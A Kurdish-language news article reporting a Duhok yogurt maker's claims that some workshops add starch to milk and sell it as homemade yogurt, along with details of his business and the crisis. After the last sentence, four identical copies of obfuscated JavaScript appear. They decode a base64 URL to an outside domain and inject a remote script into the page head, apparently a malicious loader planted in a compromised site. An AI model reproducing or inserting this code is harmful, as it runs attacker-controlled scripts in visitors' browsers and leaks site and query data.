هندەك كارگەهـ نشایێ تێكەلی ماستی دكەن و ب رێزا ماستێ خومالی دفرۆشن
ئەڤرۆ، هەرهین محەمەد:
خۆدانێ كارگەهەكا چێكرنا ماستێ خۆمالی ل دهۆكێ دیاردكەت، كارگەهێن چێكرنا ماستی ل دهۆكێ هەنە ل گەل شیری نشایێ تێكەل دكەن دا كو شیرێ وان تیر بیت و زوو ببیتە ماست و نشا دناڤ ماستی دا زیانێن خوە هەنە و هەتا رادەكی ژی خەلكێ مە وێ چەندێ دزانن و وی ماستی ناكرن و ل ماستێ خۆمالی دگەرن.
مەسعود محەمەد سەلیم، خنێ كارگەها مەسعود یا چێكرنا ماستێ خۆمالی كو ئەڤە بۆ دەمێ 28 سالە كاردكەت و یێ بەردەوامە و بۆ رۆژناما ئەڤرۆ گۆت: ل دەستپێكێ ل تاخێ زۆزان من دوكانەك هەبوو، بەلێ پتر بۆ من ژ بەردەرەش دهات و پاشان بۆ من شیر دهات من ل مال چێكر و هەتا نوكە من كارگەها خوە ل كوگەها مال دانایە و یێ بەردەوامم ل سەر چێكرنا ماستی و نوكە كار نینە و مووچە ناهێنە دان.
زێدەتر گۆت: رۆژانە نێزیكی 700 كیلویێن شیرێ خۆمالی دكەمە ماست و هەكە مووچە بهێنە دان و كار ڤەبیت، رۆژانە نێزیكی دو تەنێن شیری دكەمە ماست شیر رۆژانە بۆ من ژئاكرێ و بەردەرەش و سحێلا و ئامێدیێ و سەرسنكێ دهێت، بەلی هنە جاران ژبەر گیروبوونێ و گەرما هاڤینێ شیر خراب دبیت و ئەو شیرە دبیتە لورك و ئەم شیرێ میها و بزنان تێكەل دكەین و دكەینە ماست و هەكە بهارێ بیت هەموو یێ میهایە و شیری تێكەل دكەین ژبەركو شیرێ میهان یێ كێمە و یێ بزانان یێ مشەیە، بەلێ نوكە ماست گەلەك خوەش دبیت ب تێكەل كرنا شیرێ بزنا، چونكو شیرێ بزانان ماستی مز دكەت و ماستی من نەبتنێ بۆ سەنتەری دچیت، بەلكو بۆ دەوروبەران ژی دچیت و زڤستانا ژی ماستێ من دچیتە دیانا و خلێفان، بەلێ پشتی هەیڤەكا دی دێ ماستێ گامێشان ژی چێكەم، چونكو ئەو گەلەك حەزژێدكەن.
زێدەتر گۆت: گەلەك كارگەه هەنە شیرێ پەزی، یان گمێان چێدكەن هەكە یێ رۆن بیت نشایێ دكەنە دناڤ دا و ب رێزا ماستی خۆمالی دفرۆشن و هەروەسا و نشا ژی بۆ ساخلەمیا مرۆڤی گەلەك یا خرابە و چو جاران من نەكریە دناڤ شیرێ خوە دا، چونكو من بكر هەنە و پشت راستن ژماستێ من و وێ چەندێ ناكەم بكرێن من ژدەست من بچن و هەر سال دو جاران ساخلەمیا دهۆكێ ماستی من دبەنە پشكنینێ و 100% یێ خومالی دەردكەڤیت.
ئەو چەندە ژی گۆت: ل سالا 1996 ئەم پێنچ شەش كارگەهێن چێكرنا ماستی بووین و نوكە بووینە 100 كارگەه و نوكە هەر كەسەكێ قازانا خۆدانا سەر ئاگری ساخلەمیا دهۆكێ دێ ئێكسەر مولەتێ دەتێ و هەموو كەس دشێن بخوە كاربكەن، بەلێ ئەو كەسە ل سەر بكرێن مە دگەرن و ب بهایەكێ كێم ماستی دێ فرۆشنێ، ب تنێ ماستێ وی بهێتە كرین و یێ مە نە هێتەكرین، بەلێ خەلكێ مەژی وێ چەندێ دزانن كا كیژ ماست یێ خوشە و كیژ یێ سەختەیە.
خویاژی كر، ماست بۆ دەمێ حەفت رۆژان دهێتە چێكرن و گەلەك جاران مێژو ب سەر ڤە دچیت یا دو رۆژ دمینن كو مێژوو بچیت ئەم ماستێ خوە دزڤرینن، بەلێ ماست هەیڤەكێ بمینت خراب نابیت، چونكو شیرێ خۆمالی یە ب تنێ ترش دبیت و دبیتە دەو و قەیرانێ گەلەك كارتێكرن ل مە كریە و نوكە ئاڤاهیێ كارگەهێ ژی یێ منە و هەكە من كری دابا نوكە ژ مێژە من كارگەه گرتبوو و گەلەك هەیڤان مە نان و زك كارری و نكە من دو كارمەند هەنە و هەكە كار هەبا دا شیری زێدەكەم و هەردیسان كارمەندان ژی زێدەكەم.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
